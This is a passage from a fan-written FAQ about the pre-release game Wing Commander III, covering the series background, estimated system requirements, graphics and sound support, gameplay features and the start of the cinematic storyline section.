processor need to be? + 3.1.2. What kind of video card do I need? + 3.1.3. How much RAM do I need? + 3.1.4. Do I need a CD-ROM drive? How fast? + 3.2. Will Wing Commander III take advantage of a math coprocessor? + *3.3.* What kind of frame rates can I expect? + *3.4.* How big (in terms of disk space) is Wing Commander III? + *3.5.* Will Wing Commander III support both a VGA and SVGA mode? + At what resolutions? + *3.5.1.* When can I switch between VGA and SVGA modes? + *3.6.* What's the sound support like? + *3.6.1.* What sound cards are supported? + *3.6.1.1.* Will the digital sound capabilities of the + RAP-10 be used? + *3.6.2.* Will WC3 support multiple digitized sound samples being + played simultaneously? + *3.7.* Does Wing Commander III use bitmaps or polygon-based graphics? + What's the difference? + +4. Gameplay issues + *4.1.* Is the flight model in WC3 the same as in previous WC games? + *4.2.* What will capital ships and capital ship combat be like? + *4.3.* What will the planetside missions be like? + *4.4.* How many different ships comprise the Terran and Kilrathi fleets? + 4.5. What new technologies are the Terrans armed with that the player + can use? + *4.6.* How much control will the player have over the missions they fly + (e.g., their ship, wingman, weapons loadout, etc.)? + *4.5.1.* How will the weapon selection work? + *4.7.* How good is the computer AI in WC3? Compared to Armada? + *4.8.* What other notable game features are present in Wing Commander III? + 4.8.1. The 3-D navigational map + *4.8.2.* Power management + *4.8.3.* More "intelligent" weaponry + *4.8.4.* Will there be a "virtual cockpit," as there was in Strike + Commander and Pacific Strike? + *4.8.5.* Will there be a VCR replay mode? + *4.8.6.* Will you be able to go back and replay specific missions? + *4.8.7.* Will the comm screens be in color? + *4.8.8.* Can you transfer characters from Wing Commander II? + 4.8.9. Will Wing Commander III have multiplayer modem or network + support? + +5. Cinematics / storyline + 5.1. What distinguishes the cinematics and storyline in Wing Commander + III? + 5.1.1. In what ways can choices made during the cinematic + sequences affect the storyline? + *5.1.2.* Can your wingmen actually die during an average mission, + or are there safeguards built in to prevent this? + 5.2. How is live acting being integrated into Wing Commander III? + *5.2.1.* How much live acting is contained in the cinematic + sequences? + 5.2.2. Why don't some of the actors look like their characters? + 5.2.3. How is the acting for the Kilrathi characters accomplished? + 5.3. Who are the characters in Wing Commander III, and who are the + actors and actresses portraying them? + 5.3.1. Col. Christopher Blair (Mark Hamill) + 5.3.1.1. Do I get to pick my player's name or callsign? + 5.3.2. James "Paladin" Taggart (John Rhys-Davies) + 5.3.3. Todd "Maniac" Marshall (Tom Wilson) + 5.3.4. Melek (Tim Curry) + 5.3.5. Admiral Geoffrey Tolwyn (Malcolm McDowell) + 5.3.6. Rachel (Ginger Lynn Allen) + 5.3.7. Flint (Jennifer MacDonald) + *5.3.8.* Col. Eisen (Jason Bernard) + 5.3.9. Rollins (Courtney Gains) + 5.3.10. Flash (Joshua Lucas) + 5.3.11. Hobbes + 5.3.12. The Emperor and Prince Thrakhath + *5.4.* Will any other members of the Wing Commander cast (Angel, + Doomsday, etc.) make an appearance in Wing Commander III? + *5.4.1.* What happened to Angel, anyway? + *5.5.* How good do the final cinematic sequences look? + 5.6. What is the basic plot of Wing Commander III? + 5.7. How do the events in the Wing Commander novels fit into the + storyline? + + +6. Other miscellaneous questions + *6.1.* What is the current estimated release date? + *6.2.* What's this I hear about a "Premiere Edition"? + *6.2.1.* What does it contain? + *6.2.2.* Will there be a Premiere Edition for the 3DO version? + 6.3. What platforms is Wing Commander III being released on? + 6.3.1. How will the 3DO version differ from the PC version? + *6.4.* Will there be different versions of WC3 available for different + languages? + *6.5.* Are there any screen shots available? + *6.5.1.* What do the screen shots contain? + *6.5.2.* Are those screen shots from playable sequences or + cinematic scenes? + *6.5.3.* Where can I find the screen shots? + *6.6.* Will a demo be released before the game comes out? + *6.7.* What is the list price for Wing Commander III, and how can I + reserve a copy? + *6.8.* What is the budget for Wing Commander III? + 6.9. Who is developing and filming Wing Commander III? + 6.9.1. Who is involved with the cinematic side of the project? + 6.9.2. Who is involved with the gameplay side of the project? + *6.10.* Other Wing Commander III-related merchandise + *6.10.1.* Will there be a Wing Commander III Playtester's Guide? + *6.10.2.* Will the soundtrack for Wing Commander III be released on CD? + *6.10.3.* Will any of these extra items from the Premiere Edition be + sold separately? + *6.11.* Will WC3 be the last installment of the Wing Commander series? + *6.12.* What other Wing Commander products are scheduled to be released + in the future? + *6.12.1.* Super Wing Commander for the Mac + *6.12.2.* Privateer 2 + *6.12.3.* Wing Commander novels + *6.12.4.* Wing Commander: The Motion Picture? + +7. In conclusion... + *7.1.* Credits / sources + *7.2.* Where to find out more + *7.3.* Contacting the FAQ author + *7.3.1.* The WC3 FAQ mailing list + *7.4.* Revision history + 7.5. Conclusion + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +*********************************************** +0. FAQ v1.10 Preface -- A Word from the Author +*********************************************** + +Well, after two months of telling people "It'll be ready within a couple of +weeks," version 1.10 of the WC3 FAQ is finally here. :) I apologize to all +of you who have been waiting so patiently for this to be released. Hopefully +I'll crank out future revisions a bit quicker than this one. At least the +wait hasn't been for nothing -- this revision of the FAQ is significantly +larger (about 50%) than its predecessor! + +The response to the initial revisions of the FAQ (1.0 and 1.01) have been +tremendous... much more so than I expected. Download counts on America Online, +CompuServe, and GEnie have easily numbered in the thousands, which doesn't even +include the number of people who have gotten it from newsgroups or FTP sites +on the internet. I've received over a hundred e-mails from WC fans living in +every corner of the globe, from Australia to Hong Kong to Russia and elsewhere, +who asked me questions, gave suggestions, or just wanted to voice their support +for the FAQ, so I'd like to take a moment to thank everyone out there who took +the time to write. Your mail means a lot. + +Unlike the previous two FAQ revisions, a lot of people have contributed to +this version of the FAQ in one way or another. Probably half of the new +questions that are in this version are here because they were suggested by +someone who e-mailed me, so your mail _is_ appreciated! Every question that I +was asked that I didn't know the answer to I tried to find out about so I +could answer it in this version of the FAQ. If you asked me a question that +you don't see answered here, don't accept my apology. E-mail me and complain! +*grin* + +Again, thanks to everyone who sent mail to me, and I encourage everyone to +keep sending me comments and questions! Rest assured that if you send me +something, you'll get a reply. (If you don't, mail me again.) + +Enough of my rambling, though. Like I said, there's a lot of new info in this +one, and as usual, much of it hasn't yet been published elsewhere. So read on, +and start counting down to November 21st! + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +******************** +1. FAQ Introduction +******************** + +1.1. Purpose of the FAQ +========================== + +This FAQ was created to answer some of the more commonly asked questions +about Origin Systems' upcoming release, Wing Commander III: Heart of the +Tiger, and to keep the online community informed about the latest developments +pertaining to this latest installment in the Wing Commander series. Even if +you've been keeping up with all the magazine articles and previews on the +game, there's probably be some things in here you haven't yet heard, so read +on! + +Please be sure to read the Disclaimer (section 1.3). + + +1.2. Trademark information +============================= + +Origin, Wing Commander, the distinctive Wing Commander logo, Secret Missions, +Special Operations, Vengeance of the Kilrathi, Heart of the Tiger, Privateer, +Wing Commander Academy, and Wing Commander Armada are trademarks of Origin +Systems, Inc. Origin Systems is a wholly owned subsidiary of Electronic Arts. + + +1.3. Disclaimer -- READ ME! +============================== + +This FAQ is not a paid advertisement, nor is it even officially endorsed by +Origin Systems. When reading this FAQ, please remember that Wing Commander +III is a game which is still in development. As such, the game design (and +hence, the contents of this FAQ) are subject to change at any time -- even +those at Origin do not yet have a crystal clear picture of exactly what +form the final product will take. + +All information in this FAQ has, unless otherwise specified, been verified +by a reliable source (e.g., a preview in a professional gaming magazine, an +official Origin representative, etc.). Keep in mind, however, that it may +very well be outdated by the time the finished game is released. + + +1.4. Spoiler warning +======================= + +Some sections of this FAQ contain plot spoilers about certain Wing Commander +products (i.e., games and/or novels). Since Wing Commander II has been +available for several years, it is assumed that all FAQ readers have played +the first two Wing Commander games and all expansion disks; if you have not +yet done so, and wish to avoid plot spoilers on these games, then continue +reading at your own risk. + +The Privateer games and the Wing Commander novels are new enough so that it +is _not_ assumed all FAQ readers have played (or read) these. Sections of +the FAQ that contain plot spoilers for these will be marked with a "SPOILER" +label in the header. + + +1.5. Acronyms +================ + +The following acronyms will be used throughout the FAQ, some more often than +others: + +FAQ: Frequently Asked Questions list +OSI: Origin Systems, Inc. +WC: Wing Commander +WC1/2/3: Wing Commander 1, 2, or 3 +SM1/2: Secret Missions 1 or 2 +SO1/2: Special Operations 1 or 2 +WCA: Wing Commander Academy +Armada: Wing Commander Armada (I know, it's not an acronym; so sue me) + + +*1.6.* Obtaining the latest version of the FAQ +================================================ + +The FAQ has five official distribution sites, at which the latest version will +always be available for downloading: + +* The Origin BBS -- (512) 331-4446. Modem settings are 300-14400 baud, + no parity, eight data bits, and one stop bit. + +* America Online, in the Origin support base (keyword ORIGIN). + +* CompuServe, in the Game Publisher's Forum A (GO GAMAPUB), section 12 + (Origin Systems). + +* GEnie, at Scorpia's roundtable (type "M805;" at any "?" prompt), section + 16. + +* On the internet: The wuarchive.wustl.edu FTP site, in the + /pub/msdos_uploads/game_faq directory. + + + *1.6.1.* Accessing the FAQ on the World Wide Web + ------------------------------------------------- + If you have access to the World Wide Web, then you can take a look at the + FAQ in HTML format on the Games Domain WWW site, at the address + http://wcl-rs.bham.ac.uk/~djh/index.html. Note that at the time of this + version's release, only v1.01 is available here; v1.10 will not be posted + for a week or two, possibly longer. Please be patient. + + + *1.6.2.* The WC3 FAQ Mailing List + ---------------------------------- + + I maintain a mailing list of people who are interested in receiving updates + to the FAQ via email as they become available. If you'd like to be put on + this list, just drop me a line (see section 7.3). + + +************************************ +2. Background of Wing Commander III +************************************ + +Admittedly, if you're reading this FAQ, you've probably already played the +other Wing Commander games and know pretty much what they're about; but +there's probably some Wing Commander newbies out there, too. Besides, even +if you are a veteran of the Wing Commander world, a short refresher course +can never hurt... :-) + + +2.1. What's this whole "Wing Commander" thing about? +======================================================= + +Wing Commander, first released in 1990 by Origin Systems, is a simulation- +style action game interwoven with a cinematic storyline set in the 27th +century. It does not attempt to model real-world physics with a completely +accurate simulation of space flight, but concentrates instead on providing a +fun, intense, first-person space dogfighting experience. Several things +distinguished it from other games upon its initial release: the graphics, +music, and sound were all revolutionary, surpassing most (if not all) other +competing products in the industry at the time. The storyline, of which a +short segment unraveled after each mission the player flew, had many plot +devices rarely used before in a computer game of its type: character +development, interpersonal conflict, ethics, and more. To date, the series +has sold a total of over 1.5 million units worldwide. + + +2.2. What were the previous Wing Commander products? +======================================================= + + 2.2.1. Wing Commander I + ------------------------ + + Wing Commander I is the game that started it all. In this, the player + takes the role of a young Lieutenant who has just been assigned to the + carrier ship Tiger's Claw, the pride of the Confederate Navy. The main + plot of WC1 is the Confederation's campaign to take Vega Sector from the + Kilrathi, which eventually succeeds. + + WC1 had two add-on disks -- Secret Missions 1 and 2. SM1 focused on a + new Kilrathi secret weapon, and the Claw's attempts to hunt down and + destroy it. SM2 told the story of how the Confederation made an alliance + with the avian Firekkan species, and also introduced two new characters: + Doomsday and Jazz. + + + *2.2.1.1.* Super Wing Commander + -------------------------------- + + A revamped version of WC1 was released for the 3DO system, + incorporating completely redone hi-resolution graphics, full speech + during all the cinematic sequences, and more. SWC follows the + plotline of the whole WC1 series, including SM1 and SM2. + + + 2.2.2. Wing Commander II + ------------------------- + + The game begins with the Tiger's Claw being destroyed by three Kilrathi + stealth (cloaked) fighters, and you are accused of allowing the carrier + to be destroyed because of your negligence. Your claims about the + stealth fighters go unbelieved, your career is ruined, and you are + assigned to a space station in the backwaters of the known galaxy. + + Ten years later, through a strange series of events, you end up on the + flagship of the Confederate fleet (imagine that), the Concordia, where you + meet up with some of your old pals who survived the destruction of the + Claw -- Angel, Spirit, Paladin, Doomsday, and Jazz. Eventually, you defeat + the heir to the Kilrathi throne in a one-on-one dogfight (though he ejects + to survive to fight again another day), destroy the Kilrathi headquarters + in the sector, and find evidence that the stealth fighters exist, proving + your innocence and restoring your career. + + WC2 also had two expansion disks -- Special Operations 1 and 2. SO1 + introduced the character of Bear, the protagonist in the second two + Wing Commander novels. SO2 reunites you with Maniac, with whom you team + up to destroy Ayer's Rock, an asteroid which a band of human traitors are + using as a base. + + + *2.2.2.1.* The Wing Commander I & II CD-ROM + -------------------------------------------- + + Origin has recently released the first two Wing Commander games, + including all expansion sets (Secret Missions 1 & 2, the WC2 Speech + Pack, and Special Operations 1 & 2) on a single CD. WC1 must be + installed to your hard drive, but WC2 can be played off the CD to + save drive space. + + + 2.2.3. Privateer (SPOILER) + ---------------------------- + + Privateer puts you in the shoes of a different character -- a privateer. + This game, which takes place in the Gemini sector, is essentially + unrelated (in terms of plot) to the main Wing Commander games. As a + freelance trader and mercenary, you undertake various missions to earn + yourself enough credits to upgrade your ship and advance in the plotline. + Eventually, you discover an old alien derelict, and take a working cannon + from it and mount it on your ship. After this, an alien drone begins + to chase you; in the end, you team up with Confederate ships to destroy + the threat the drone presents to the sector. + + One expansion disk has been released for Privateer -- Righteous Fire. + This begins with your alien gun being stolen form your ship, and + concentrates on your attempts to retrieve it. + + + *2.2.3.1.* The Privateer / Strike Commander CD-ROM + --------------------------------------------------- + + Another recent release of Origin's, this CD contains the enhanced + versions of both Privateer and Strike Commander on one disc. Both + games come with their expansion disk (Tactical Operations for Strike + Commander, Righteous Fire for Privateer) and full speech. Strike + Commander also has an expanded introduction sequence. + + + 2.2.4. Wing Commander Academy + ------------------------------ + + A game with no plotline whatsoever, WCA was designed to appeal to the + straight-out action gamers who prefer the dogfighting over the storyline. + With all the ships from WC2 plus a couple of new ones and a mission builder + included, this product is a great way to pass time while waiting for the + next installment in the Wing Commander series. :) + + + *2.2.5.* Wing Commander Armada + ------------------------------- + + Much as WCA was designed to appeal to those who wanted to be able to create + their own missions, Armada is aimed towards those who want a multiplayer + Wing Commander game. Like Academy, there is no storyline to follow, but + several new features not found in previous WC games are present... not only + can the player fly in "Gauntlet" mode, a straight shoot-'em-up where wave + after wave of increasingly powerful enemy ships is thrown at them, but a + new "Armada" mode is present, which is a strategy game requiring the player + to manage planetary resources and build up a fleet to hunt down and destroy + his/her opponent. Battle sequences in Armada mode place the player in the + cockpit so they can directly affect the outcome of each battle, creating an + interesting mix of strategy and action. + + Most players agree that Armada's strengths lie in it's multiplayer + capabilities. Using a high speed modem, NetBIOS-compatible network, or a + split-screen mode on a single computer, two pilot jockeys can both climb + into their own fighter and play head-to-head or cooperatively. Needless + to say, the two-player mode adds a dimension to the game not found in + previous WC products. + + + *2.2.5.1.* Will there be an enhanced Wing Commander Armada CD? + --------------------------------------------------------------- + + No. The project has been scrapped. A patch to allow six-player + network play may still come out, however. + + + 2.2.6. Wing Commander novels + ----------------------------- + + Three novels set in the Wing Commander universe have been written to date: + _Freedom Flight_, by Mercedes Lackey and Ellen Guon (the head writer for + WC2), takes place during SM2, and has Paladin and Hunter as the main + characters. The novel goes into detail on the Kilrathi defectors who were + briefly mentioned in SM2 (and of which Hobbes from WC2 was the leader of), + and gives the reader a good look at Firekkan culture. + + _End Run_, by Christopher Stasheff and William R. Forstchen, features + Jason "Bear" Bondarevsky (SO1) as the protagonist and tells the story + of how he is assigned to a new ship, the Tarawa, which is sent on a + suicide mission into Kilrathi space. Other WC figures which are major + characters in the novel are Paladin, Hunter, Sparks, and Admiral Tolwyn. + + _Fleet Action_, written by William R. Forstchen, is a direct sequel to + _End Run_, picking up where its predecessor left off. The Kilrathi launch + a major counteroffensive against the Confederation, who must come up with + a last-ditch plan to try to avoid annihilation. + + + *2.2.6.1.* What are the ISBN numbers of the WC novels? + ------------------------------------------------------- + + A few FAQ readers have asked me for more details on these novels so + that they could order them through their local bookstores. Here's + the authors, publishers, and ISBN numbers for all of the WC novels + published to date: + + _Freedom Flight_, by Mercedes Lackey and Ellen Guon. Published + in 1992 by Baen Books. ISBN 0-671-72145-3. + + _End Run_, by Christopher Stasheff and William R. Forstchen. + Published in 1994 by Baen Books. ISBN 0-671-72200-X. + + _Fleet Action_, by William R. Forstchen. Published in 1994 by + Baen Books. ISBN 0-671-72211-5. + + +2.3. Who's this "Bluehair" guy? +================================== + + Bluehair is the name by which Origin originally referred to the character + the player takes the role of in the Wing Commander games... it comes from + the fact that the character has dark blue hair (hence the name). Since + then, it has become a common term that gamers of the online community use + to refer to the main character in the first two Wing Commander games. + + +*********************** +3. Technical questions +*********************** + +*3.1.* What are the estimated system requirements for Wing Commander III? +============================================================================ + + Please note that these are only ESTIMATES -- the best guesses that can be + made at this stage in the game's development. These specs may very well + change upon the game's release. + + + *3.1.1.* How fast will my processor need to be? + ------------------------------------------------ + + A 486SX/25 will probably be the slowest processor which will run the game + at a playable pace in VGA mode. The former requirement (as of about two + months ago) was a 486/33. + + + 3.1.2. What kind of video card do I need? + ------------------------------------------ + + The game should technically run on any VGA-compatible graphics card, + though a fast VESA or PCI local bus card will help matters greatly. Of + course, an SVGA card is required to play the game in SVGA mode. + + + 3.1.3. How much RAM do I need? + ------------------------------- + + 8 megs are required; anything above that is optimal. + + + 3.1.4. Do I need a CD-ROM drive? How fast? + -------------------------------------------- + + Since Wing Commander III will be a CD-ROM only release (no floppy version + is planned, either before or after the CD-ROM release), yes, a CD-ROM + drive is required. It's not suggested to even try the game on a single + speed drive; you'll want a doublespeed or higher to play it at an + acceptable pace. + + + 3.1.4.1. Will the game always need to load off the first CD? + ------------------------------------------------------------- + + No. Once you're finished playing on a CD, you'll be able to run + the game off the following disc every time thereafter. + + +3.2. Will Wing Commander III take advantage of a math coprocessor? +===================================================================== + +No. If it did, then the game would not run on 486SX or SX-2 systems, which +still represent a significant market share of Origin's target audience. The +only other option would be to write two separate versions of the game, one for +486SX systems and the other for 486DX systems; unfortunately, this would add +too much time to the development cycle. + + +*3.3.* What kind of frame rates can I expect? +============================================== + +These estimates, of course, are still preliminary and may change by the time +the game is complete; however, here's a chart (officially released by Origin) +detailing how fast, in fps (frames per second), WC3 should run on your system: + + VGA SVGA SVGA (Local bus) + +486/33 12 4 10 +486/50 17 10 15 +486/66 20 13 18 +Pentium/60 24 15 20 +Pentium/90 24 15 24 + +These numbers are averages for space combat with other fighters. Around +capital ships, the game will run about 3-5 fps slower. + +Cinematics should be no problem. They should run acceptably in 640x480x256 on +a 486SX-25, and easily hit the 20-25 fps mark on faster systems. The reason is +that their performance is mainly dependent on your system's memory rather than +processing power; that's why Wing 3 requires 8 megs of RAM, and is also why +slow systems should be able to run the cinematics so effectively. + + +*3.4.* How big (in terms of disk space) is Wing Commander III? +=============================================================== + +The game is currently slated to ship on FOUR (4) CDs, so probably somewhere +between 2 and 2.5 gigabytes. At the very most, ten megs or so will need to be +installed on the hard drive... probably much less. + + +*3.5.* Will Wing Commander III support both a VGA and SVGA mode? At what + resolutions? +========================================================================== + +Yes. WC3 is being made, first and foremost, as a VGA game, which will run +at standard 320x200x256 resolution. A 640x480x256 SVGA mode is an optional +feature that you'll need a Pentium or higher to run. + +The user has the option of running the gameplay and/or cinematic sequences at +either 640x240x256 or 320x200x256, depending on which is best suited for their +system. No one should have any real problems here, though -- even on a +486-25 with a slow video card, the 640x480 mode should run okay. See section +3.3 above for details. + +It should also be noted that if the system can't keep up with the video at +the resolution the user has set, playback is not slowed down -- frames are +skipped so that game time still passes at the same rate. In other words, it +will get choppier, but not slower. + + + *3.5.1.* When can I switch between VGA and SVGA mode? + ------------------------------------------------------ + + Any time you want. You won't be limited to doing it only between missions + or anything like that; it can be done with a single keypress at any point + during gameplay. The game will even (optionally) switch between video + resolutions for you automatically, dropping down to VGA if the frame rate + gets too slow, and then jumping back to SVGA when it climbs back up. + + +*3.6.* What's the sound support like? +====================================== + + *3.6.1.* What sound cards are supported? + ----------------------------------------- + + Right now, the plan is to support the SoundBlaster (and all its + variations... SB Pro, the SB/16, etc.), Pro Audio Spectrum, Gravis + UltraSound, Ensoniq Soundscape, Logitech Soundman Wave, and + General MIDI devices (the Roland SCC-1, RAP-10, etc.) + + + *3.6.1.1.* Will the digital capabilities of the RAP-10 be used? + ---------------------------------------------------------------- + + If there's time to put in the code before the release date, yes. + + + 3.6.2. Will WC3 support multiple digitized sound samples being played + simultaneously? + ---------------------------------------------------------------------- + + Yes. Wing Commander III will be able to play 32 different digitized + sound samples simultaneously. + + +*3.7.* Does Wing Commander III use bitmaps or polygon-based graphics? + What's the difference? +====================================================================== + +WC3, like all of Origin's flight sim games since Strike Commander, will use +texture-mapped polygons instead of plain bitmaps (as the first two Wing +Commander games did). For those of you who aren't familiar with the +advantages of a polygon-based graphics engine, allow me to explain... + +The first two Wing Commander games use bitmaps to represent the ships and +other objects in space. The ships themselves are actually centered at a +single point in space, and their boundaries are defined by an invisible box +surrounding that point. Note that their boundaries are defined by a 3-D +_box_, rather than the shape of the ship you see on the screen... that's why +gun shots that come really close to an enemy (but don't actually hit his +image on the screen) explode in the space next to him and still do +damage -- they hit the invisible box surrounding the ship. As this box flies +around space and tries to shoot you, a 2-D image of a spaceship is placed on +it that changes depending on what angle you're looking at the box from. Thus, +all of the ships in the first two WC games are actually flying boxes that just +have _pictures_ of one-man fighters slapped on them. + +Still following? Good. Now, a polygon-based engine -- the kind WC3 uses -- +is much different. Rather than having their boundaries defined by an +invisible box, objects are made up of geometric shapes... a cylinder might +represent the body of a plane, two triangles could represent for the wings, +and so forth. These boundary-defining shapes _are_ visible to the player, +unlike the flying boxes of WC1 and 2. Since a ship made up of plain polygons +can look a bit ugly (take a look at some flight simulators from four or five +years ago), various techniques are used to improve the appearance. WC3 uses +"texture mapping", which means that a texture (a texture being a picture of +anything from a sheet of glass to a certain color of metal to a picture of a +pilot in a cockpit) is placed on these bare polygons to give them a more +attractive appearance. + +The final result? Ships that still look really cool, but that are much more +clearly "defined." There are many more advantages to this than just not having +your gunfire hit the space next to your opponent and still do damage... check +out section 4.2 for some examples of what is made possible by the use of the +polygon-based flight engine in Wing 3. + + +******************* +4. Gameplay issues +******************* + +In some ways, WC3 scarcely resembles its predecessors; the SVGA graphics make +everything like four times as sharp, combat moves at a faster pace, and some +aspects (such as the capital ship and planetside combat) are an entirely new +experience altogether. If everything comes together the way Origin plans, WC3 +should play better than any previous OSI sim to date. Read on... + + +*4.1.* Is the flight model in WC3 the same as in previous WC games? +==================================================================== + +Yes and no. There are two flight models available in WC3 that the user can +choose to use: the traditional WC flight model that was used in WC1 and WC2, +or a new flight model (similar to the one used in X-Wing) where your ship +will roll whenever you yaw (turn left or right). + + +*4.2* What will capital ships and capital ship combat be like? +================================================================ + +This is perhaps one of the biggest improvements over previous WC games. The +days where all capital ships were little more than big, ugly-looking, sluggish +fighters that shot out a cloud of flak while waiting for you to fire your guns +and blast them to kingdom come are gone. In WC3, the capital ships are huge -- +several screens long, in fact -- so that when you fly up to one, you really +are struck with a sense of awe rather than a sense of boredom. The detail on +them is tremendous; you'll be able to make out things like a capital ship's +flight deck, the Confederate or Kilrathi insignia painted on the side, or +dozens of little windows dotting the hull. + +The really neat thing is, these aren't all just for decoration, either... you +can actually fly around _inside_ of a ship's hangar (this is made possible by +that wonderful polygon technology talked about in section 3.7). Theoretically, +the game engine should allow you to fly into an airlock on the side of the ship +and negotiate your fighter through a maze of twisting, turning passageways... +that particular example would probably be of little use in actual gameplay, but +it gives you a feel for what exactly what the game is capable of. The primary +constraint is how much time the artists have to draw everything before the +game's release. + +Actual combat with capships is much more involved, as well. Destroying a +carrier in the earlier WC games often involved little more than a few strafing +runs, unloading your guns each time, until you broke through the shields and +armor (or, in the case of some of the ships in WC2, sitting there until you got +a torpedo lock and _then_ firing). Either way, it was fairly monotonous and +generally not very challenging. In WC3, this is no longer the case. You know +those flak bullets that capital ships kept shooting at you while you were +trying to get a torpedo lock? Target the gun turrets and blow them up. Need +to stop the ship from reaching the jump point? Shoot a couple missiles at its +engines to disable it. Destroying the flight deck will be a vital step in +dispatching a capital ship, as well. + + +*4.3.* What will the planetside missions be like? +================================================== + +There will be four ground missions in Wing 3, all of which are vital to the +plot. Planetside combat was designed with playability rather than realism in +mind, so there aren't a whole lot of real-world physics to worry about. Your +ship's "repulsors" negate the effects of gravity; you also don't have to worry +about g-forces, engine stalls, and other similar considerations present in +most flight sims. These same repulsors limit you to an altitude of 1000-2000 +meters (a limitation imposed by the WC3 team because the terrain looked better +from there than at higher altitudes). + +For all practical purposes, planetside missions handle just like space combat, +though you've got terrain to avoid crashing into. Mission objectives will +also vary, and will including bombing and strafing runs on ground targets. + + +*4.4.* How many different ships comprise the Terran and Kilrathi fleets? +========================================================================= + +The Terran Confederation has five fighters and five capital ships at its +disposal; the Empire of Kilrah has eight fighters and eight or nine capital +ships. None of the old WC1/WC2 ships are used. + + +4.5. What new technologies are the Terrans armed with that the player can + use? +============================================================================ + +In addition to the five new types of fighters in WC3 that the player will +have a chance to fly, the Confederation has also discovered the secret of +cloaking technology, so you'll be able to fly stealth ships as well in this +one. Missile technology has improved, too -- see section 4.8.3 below. + +Each of the fighters available to you is designed with a different purpose in +mind, so there won't be one single fighter more powerful than the rest which +you'll want to fly every single time. The best ship to take into a big +dogfight, for example, will NOT be the best ship to fly when you're planning +to take out a capship. + + +*4.6.* How much control will the player have over the missions they fly + (e.g., their ship, wingman, weapons loadout, etc.)? +======================================================================== + +You're allowed to choose who your wingman will be, what ship you'll fly, and +your ship's weapon loadout for each mission. You won't be able to choose +which pilots fly on the other wings -- that's a predetermined part of the +plot. + + + *4.6.1.* How does the weapon selection work? + ------------------------------------------- + + The guns on your ship are fixed and can't be changed, but you always + get to allocate the rest of your equipment however you like. Unlike + the weapon selection in Strike Commander, you have an unlimited supply + of missiles to use, and a heavy payload won't affect your flight + dynamics, either. This doesn't, however, mean that you'll want to load + up your ship with as many Friend-or-Foe missiles as you can each time + you fly a mission. + + A cloaking device, for example, takes up a missile slot -- you may want + to sacrifice a few missiles if you think stealth flying will be to your + advantage on a particular sortie. Heat-seeking and image recognition + missiles are also _better_ than Friend-or-Foe missiles in certain + situations; you might damage a Kilrathi's cloaking device so that it no + longer masks the heat from his engines, enabling you to lock on to him + with a missile while you can't see him on your radar; or maybe your + wingman's communication systems are damaged, and you opt to use an + image recognition on your enemy to avoid hitting your partner. + Choosing the appropriate weapon loadout for the task at hand may make a + significant difference in your performance in battle. + + +*4.7.* How good is the computer AI in WC3? Compared to Armada? +================================================================ + +The AI in WC3 is very dynamic; each pilot has a wide range of maneuvers at +his/her disposal and won't use exactly the same techniques over and over. +Ideally, you should never feel like you're flying exactly the same mission +twice. There should be a bit of unpredictability involved each time through. + +The biggest problem some people have with the AI in Armada's single player +mode is that it can get monotonous... it's very hard to maneuver behind and +tail a Kilrathi, so combat can often end up being a series of head-on volleys +of cannon fire until someone is destroyed. It sounds as if the AI in WC3 will +certainly be more varied than that in Armada, so that should be a welcome +improvement. + + +*4.8.* What other notable game features are present in Wing Commander III? +=========================================================================== + + 4.8.1. The 3-D navigational map + -------------------------------- + + The first two WC games used a two-dimensional navigation map to show + the area surrounding the player. The obvious failing of this system is + that it could not show Z coordinates; the map could show the player's + ship directly on top of a jump point, when in reality he/she was a + hundred thousand clicks _above_ his destination. + + WC3 employs an actual three-dimensional nav map to give the player a + better idea of his/her surroundings. The map can be rotated on all + three axes and zoomed in and out so that the environment may be viewed + from any angle and any distance. + + + *4.8.2.* Power management + -------------------------- + + Yes, you can allocate your ship's power as you want in this one, + moving energy between your guns, damage control systems, and possibly + other parts of your ship. + + + *4.8.3.* More "intelligent" weaponry + ------------------------------------- + + Missiles and missile decoy pods will now report back do you when + they're finished and tell you if they were successful or not... one + less thing to keep track of in the middle of a chaotic dogfight. + + + *4.8.4.* Will there be a "virtual cockpit," as there was in Strike + Commander and Pacific Strike? + ------------------------------------------------------------------- + + No, the primary reason being that it slowed things down too much in + SVGA mode and became more of a hindrance than a help. The usual left, + right, and rear views are present, plus some new fun and useful + external camera angles to observe the action from. + + You can still turn the cockpit off altogether, however -- the WC3 ships + all have a HUD, so all vital information is still on the screen when + the cockpit graphics are off. + + + *4.8.5.* Will there be a VCR replay mode? + ------------------------------------------ + + Time allowing, yes, though nothing is certain at this point. + + + *4.8.6.* Will you be able to go back and replay specific missions? + ------------------------------------------------------------------- + + Nope. + + + *4.8.7.* Will the comm screens be in color? + -------------------------------------------- + + No. They tried, but the space color palette didn't support flesh + tones very well. + + + *4.8.8.* Can you transfer characters from Wing Commander II? + ------------------------------------------------------------- + + Sorry, no. + + + 4.8.9. Will Wing Commander III have multiplayer modem or network + support? + ----------------------------------------------------------------- + + No. If you want multiplayer Wing Commander, then give Wing Commander + Armada a try (see section 2.2.5.). + + +************************** +5. Cinematics / storyline +************************** + +5.1. What distinguishes the cinematics and storyline in Wing Commander III? +============================================================================== + +There are two fundamental differences between the cinematics in WC3 and those +in WC1 and 2. First, the live acting; all of the cinematic sequences are +played out in full motion video by live actors, rather than being hand- and +computer-drawn as in the first two games. This has led to several new +filming techniques being used, as well: A wider variety of camera angles is +present, rather than the frontal face shots that were used nearly exclusively +in WC1 and 2, plus pans, zooms, etc. + +Secondly, the cinematic sequences are no longer completely passive. The +player can now choose how he/she responds in certain situations be selecting +one of several choices from a list of possible dialogue responses. This, in +turn, alters the way the story unfolds, so two people who play the game with +different dialogue choices may experience quite a different plotline. (A +normal movie script is about 120 pages; the script for WC3 was 300 pages long +so that all of the different outcomes and dialogue choices were covered.) + + + 5.1.1. In what ways can choices made during the cinematic sequences alter + the storyline? + -------------------------------------------------------------------------- + + First and foremost, it can affect your relationships with your shipmates, + and being the squadron commander, this can affect morale on board ship. + Telling a pilot "That flying was horrible -- whose side are you fighting + for?" obviously will be perceived more negatively than "Well, kid, it was + a tough mission. Let's hope we can do better next time." (Of course, in + some cases, maybe the pilot _deserves_ to be chewed out; it's a judgment + call you'll have to make.) You also get to choose a love interest for the + game, which will have a major impact on the plotline. + + In the end, your flying skills and storyline decisions will combine to + finish the story in one of three different ways -- one grand, victorious + ending, one mediocre, and one not-so-grand. + + + 